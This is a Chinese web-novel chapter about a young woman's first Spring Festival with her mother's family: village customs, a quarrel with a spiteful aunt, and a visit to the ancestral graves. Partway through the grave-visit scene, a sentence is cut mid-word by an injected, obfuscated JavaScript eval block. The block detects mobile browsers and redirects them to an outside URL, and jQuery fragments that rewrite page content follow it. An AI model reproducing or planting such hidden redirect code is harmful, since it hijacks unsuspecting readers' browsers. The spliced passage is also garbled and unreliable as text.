大年初一，一年之始，规矩也格外的多。


    卓桢桢起床的第一件事情，就被外婆管着。她漱口的水、洗脸的水，在今天都不能流进下水道，而是要专门放在水盆里蓄起来，这叫作“肥水不流外人田”，留住财气。


    “外婆我有问题。”卓桢桢嘴里叼着包子，乖巧地举手，“上厕所也不能冲水吗？”


    旁边的卓越扑哧一笑：“我倒是可以给你提个建议。”


    “你可以像八怪一样，在后院挖个坑，上完厕所后再埋起来，就不用冲水了。”


    卓桢桢咀嚼的动作一顿，面露嫌恶。她真的好想打死面前这个贱兮兮的人，居然在吃饭的时候说这么反胃的话！


    下一秒，一双筷子狠狠敲在卓越的脑门，巨大的一声脆响，痛得他捂住头嗷嗷叫。


    “新年第一天就给你妹妹找不痛快！”外婆骂道，“多大个人了，还这么幼稚，看来闯荡这么多年也没长什么本事。”


    卓越“哑巴吃黄连，有苦说不出”。


    敢不敢再偏心一点！这是真偏心偏到“外婆家”了！


    他一气之下拍案而起，最后一句话没说，负气离开。卓桢桢看着吃剩下的汤圆，叫住他：“哥你去哪儿？”


    “早饭不吃啦？”


    “气饱了！吃不下！”


    卓越刚跨出堂屋门槛，就见外婆举起两个红包，声音中气十足：“你走了啊？那正好！这俩红包就全给桢桢了！”说着，还给卓桢桢使眼色。


    卓桢桢立刻配合地凑到她身边，伸手就去接红包：“谢谢外婆！那我可就......”


    “不许动我的红包！”卓越急了，几步就冲了回来，伸手夺过红包。他掂量着厚度，心里那点不愉快早就烟消云散，好声好气地对外婆说谢谢。


    卓桢桢默默吐槽：“见钱眼开。”


    接下来的几天，各有各的规矩。


    大年初二是“迎婿日”。舅舅们家的几个女儿平时不回娘家，但在今天都会带着丈夫和孩子回来拜年，老宅更加热闹。


    这天还忌打骂自家狗，免得得罪“犬神”，影响家宅安宁。所以八怪不仅得到加餐，还被卓桢桢抱在怀里一整天。


    初三“开财门”“送财神”，蓄水缸里储存了两天的水终于能倒了，大家也恢复了正常用水。


    从初四开始，亲戚们开始相互串门，也就是常说的“走亲戚”。


    裕市有个特色叫“转转席”，即亲戚间轮流作东设宴，一天一家。轮到的家庭要提前一天备好食材，当天全家齐上阵忙活，在院子里摆上好几张大圆桌，寓意“团圆不分家”。


    午饭吃完后，众人不会离开，而是围坐在一起搓麻将、斗地主，或是聊天，直到傍晚用过晚饭后才散席，明天再转往下一家。


    卓家做东是初四，转转席的第一家。


    做东摆席这样的大事情，向来是家里的男人张罗。一大早，舅舅们用几块红砖垒了一口更大的灶台，就摆在院子里，大蒸笼放在上面，飘出阵阵肉香。


    这时女人们需要做的，是照顾小孩、接待客人。


    客人携礼上门，卓桢桢主动揽活，泡了一壶茶端出来，为每个人递上一杯，然后问各位好。


    乖巧又懂事，让一众亲戚赞不绝口。


    “这是七姑娘家的丫头吧？”一个婶子开口，“养得真好，又漂亮又懂事，大城市出来的就是不一样。”


    卓桢桢没见过她，想来应该是远房亲戚，面对不认识的亲戚，一律叫叔叔或者姨姨：“姨姨好。”


    婶子拉她到身旁坐下，笑眼眯起：“我和你妈妈是表姐妹，你小时候回来过一趟，我还抱过你，你可能不记得了......”


    当然不记得，卓桢桢僵笑。


    话匣子一打开，七大姑八大姨纷纷围上来问东问西，卓桢桢将乖巧维持到底，能回答的尽量答。


    “今年多少岁啦？”


    “快满二十四了。”


    “不小了嘞，谈男朋友没有啊？”


    “......在谈。”


    婶子们听后来劲了，将身子往她身上靠，这样显得更熟络。大家七嘴八舌的，问题如雨点般袭来：他是哪里人、做什么工作、年收入多少、家里有没有钱......


    卓桢桢脸上的笑容出现裂痕。


    显然，她小瞧了她们的八卦程度。


    她记不住问题，也失去了耐心，所以只挑了第一个问题回答：“他是青市人。”


    “青市离你也太远嘞！你可不要学你妈妈远嫁，下场很惨的！”


    不知道是谁发出的惊呼，尖锐刺耳，这话听着是对她的忠告，实际上是明嘲暗讽：笑卓玫珍跟人远走高飞，最后落得如此下场。


    卓桢桢抬眼看去，跟大舅妈刻薄的眼神对个正着。


    没有哪个亲戚会故意往她心上扎刀子，除了这个大舅妈，打着快人快语的旗号，处处与她过不去。


    一年前，卓桢桢抱着母亲遗骨出现在卓家，其他人表现出来的都是心疼，只有她在旁边冷言冷语，说嫁出去的女儿泼出去的水，哪有外孙女投奔娘家的。


    卓桢桢当时不知道自己哪儿得罪了她。


    后来才知道，外公外婆曾经提起遗产分配，表示要均等分给所有孩子，包括出嫁的女儿。大舅妈不服，认为丈夫作为家里的老大，这些年付出的远远大于其他子女，不仅不同意出嫁女分财产，还不赞同均分。


    最后她被丈夫呵斥，不欢而散，心里一直憋着一股气，在见到卓桢桢那一刻发泄出来。


    “虽然离咱们这里不远，可这里不是你的娘家，你早晚要回海市去的。”末了，她捂住嘴，“大舅妈说话直，但都是为了你好，你可不要怪舅妈呀。”


    以前她顾及大舅妈是长辈，自己不好以下犯上，否则有理都变成无理了。


    可现在她忍不了，她不允许任何人戳母亲的脊梁骨。


    在众人打圆场的言语中，卓桢桢起身一步步逼近大舅妈，最后在她跟前站定，脸上冷若冰霜。


    “大舅妈。”卓桢桢比这个刻薄女人高出不少，面对面时带着先天的气势，“没脑子和说话直，可不能混为一谈。”


    女人先是一愣，过了片刻才听出来。


    这个丫头居然敢骂她！


    “你......你！你敢这么跟长辈说话！”


    她伸手指着，恨不得戳进对方鼻子里。卓桢桢歪歪头，冷哼道：“您的所作所为，配当长辈吗？”


    两人剑拔弩张，最后以大舅妈离开为结局。


    她不是被气走的，是觉得没脸。


    知晓这件事的仅限在场的几人。卓桢桢对此闭口不谈，当作什么都没发生，可心里还是结起疙瘩。


    大舅妈虽然话说得难听，但也不是没有道理。


    就算她改了姓名，可依旧不算真正的卓家人，大家对她都很客气，不会像使唤卓越那样使唤她。


    说到底，在他们心里，自己还是客人。


    之后几天，卓桢桢都一副闷闷不乐的样子，面对一桌好菜也没有胃口。她有一颗七窍心，能把事情看通透，但也容易忧思。


    大年初七，春节假期最后一天。


    今天过后，村里的大半人又要离开家乡，回到工作与柴米油盐的现实当中。一年的辛劳换来一周的团圆，如同一场美好的梦，醒来只剩下空虚。


    卓家选择在这一天祭祖，祈求明日出行平安、生活顺心。


    外公没有随行，他的病不允许他登高，所以只能呆在家里歇着。卓桢桢想留下来陪他，反正自己是半个外人，去不去祭拜都无所谓。


    可外婆不允许，命令她必须跟着，态度坚决。


    卓桢桢就这样半推半就，跟上大部队。


    卓家祖坟在后山山顶，沿着村后的石板路上山，日头还早，路边的枯草湿漉漉的，带着泥土的腥气。


    卓桢桢和卓越，扶着外婆走在人群最前头，脚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030307|190932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    步放得极缓。一路上，他们不仅要拨开挡路的树杈杂草，还要留意老人脚下的路，生怕她摔跤。


    “慢点，这台阶滑。”卓桢桢轻声提醒，“您要是累了，我们就歇会儿。”


    外婆笑着拍了拍她的手：“老骨头硬朗着呢。”


    “以前年轻的时候登高，比这陡的路都能跑上去。”


    山顶不算远，二十分钟就到了。


    一片不算平整的空地，几座坟茔横向排着，坟前的杂草很久没人清理，把墓碑遮了个七七八八。舅舅和表哥一起，把墓前的杂草拔干净，然后摆上供品——一碟枣糕讨“早高”，一碟苹果盼“平安”。


    卓桢桢默默扫过每一块墓碑。


    这里共九口坟，年代久远，墓碑只是用大石头垒成的三角面，没有刻字，连下面埋的人姓甚名谁都不知道。现在能记得他们的，只有外公外婆这一辈。


    若干年后，子子孙孙来祭拜时，只会在他们的坟前点两支香烛、挂几只纸灯笼，说些“祖宗保佑”之类的话，却根本不清楚自己拜的是谁。


    “桢桢。”外婆突然喊她，“这是高祖祖，这是男祖祖，这是女祖祖......”


    “你去给他们各点两只香烛。”


    卓桢桢迟迟没有动作，她不确定自己是否有资格点香烛。正犹豫着，卓越已经把香烛和打火机一并递到她面前，抿唇对她微笑：“别愣着了，快去。”


    那个笑容和煦温暖，给予她勇气。


    卓桢桢接过，在众人的注视下点香，然后鞠躬、烧纸，全程恭恭敬敬，做完这些后，她立在一旁，脸上没有表情，似乎在出神。


    外婆走到她身边问：“刚刚有没有向祖祖许愿，让他们保佑你事业顺利呀？”


    当然没有，卓桢桢怎么好意思许愿。


    他们生前没见过她，离世后她也没来祭拜过，所以保佑什么的，应该也轮不到她。


    “卓家的先祖不认识我，我还是不随便许愿了。”


    “怎么会不认识你呢？”外婆粗粝的手掌轻抚过她白净的脸颊，“你妈妈在这儿呢，她肯定早就跟长辈们打好招呼，告诉大家，你是我们卓家的女儿。”


    “不管过去还是现在，你一直都是卓家人。”最后一句话外婆说得很大声，能让在场所有人都听见，用意明显。


    外婆知道了那天的事情，在为她出气。


    坚定的话语，斩断了卓桢桢所有的胡思乱想。


    卓桢桢鼻子发酸，倾身抱住外婆。外婆身上一年四季都是干燥温暖的，抱在怀里让人莫名心安。


    外婆一下一下拍她的背，像哄小孩入睡那样。抱了良久，她才说道：“我们去看看你妈妈吧。”


    从山顶往下再走几步路，能看见三口墓碑并排立着。它们比山顶那些墓碑新很多，用青黑色花岗岩作为石料，上面雕刻着生卒年月、墓志铭、悼词这些，又用金色颜料描了一遍。


    从左到右，分别是早夭的三舅、病去的二舅和去年春天刚来这儿的妈妈。


    三兄妹生前没机会久聚，离世后却能一起长眠，共同望着家的方向。


    卓桢桢和先前一样，在每块墓碑前点两根红烛、三支香。她在母亲面前蹲下，点燃一叠黄纸放进铁盆，等里面快烧干净了，再往添新的进去。


    火光映在脸上，照得她眼眶发热发干，偶尔有冷风吹来，平衡脸上的热意。她就这么一直蹲着，一直烧着，等黄纸都烧完，她缓缓站起身，外套上、头发梢，全都是烧剩下的纸灰屑。


    卓桢桢没有在墓前倾诉什么。


    她想要说的，都会在深夜的梦里告诉妈妈。


    而她今晚会说，她有家了。


    “都离远点啊！”卓越喊了一声，点燃鞭炮引线后迅速跑回来。红色的鞭炮在风中炸开，“噼里啪啦”在山间回声阵阵，惊得寒风都停止呼啸。


    约莫一分钟后，鞭炮声停歇，山间重新恢复了宁静。


    祭拜仪式就此结束。